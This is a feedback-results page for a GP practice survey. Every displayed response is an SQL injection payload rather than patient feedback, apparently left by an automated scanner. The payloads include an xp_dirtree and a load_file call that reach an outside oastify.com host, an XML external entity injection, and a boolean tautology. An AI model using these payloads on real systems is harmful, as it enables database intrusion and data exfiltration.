Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’;declare @q varchar(99);set @q=’2psa0y8o81llaktz1aljw7y30u6sukt8kz8rvojd.oasti’+’fy.comsqp’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 10, 2023 at 12:25 pm |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %wdnfl;]>’),’/l’) from dual)||’ | [10] | [11] | July 10, 2023 at 12:25 pm |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %wdnfl;]>’),’/l’) from dual) | [10] | [11] | July 10, 2023 at 12:25 pm |
Very good75861781′ or ‘7895’=’7895 | [10] | [11] | July 10, 2023 at 12:25 pm |
Very good’+(select load_file(‘\cl1kw84y4bhv6up9xkhtshudw422qupigl4drafz.oastify.comymo’))+’ | [10] | [11] | July 10, 2023 at 12:25 pm |
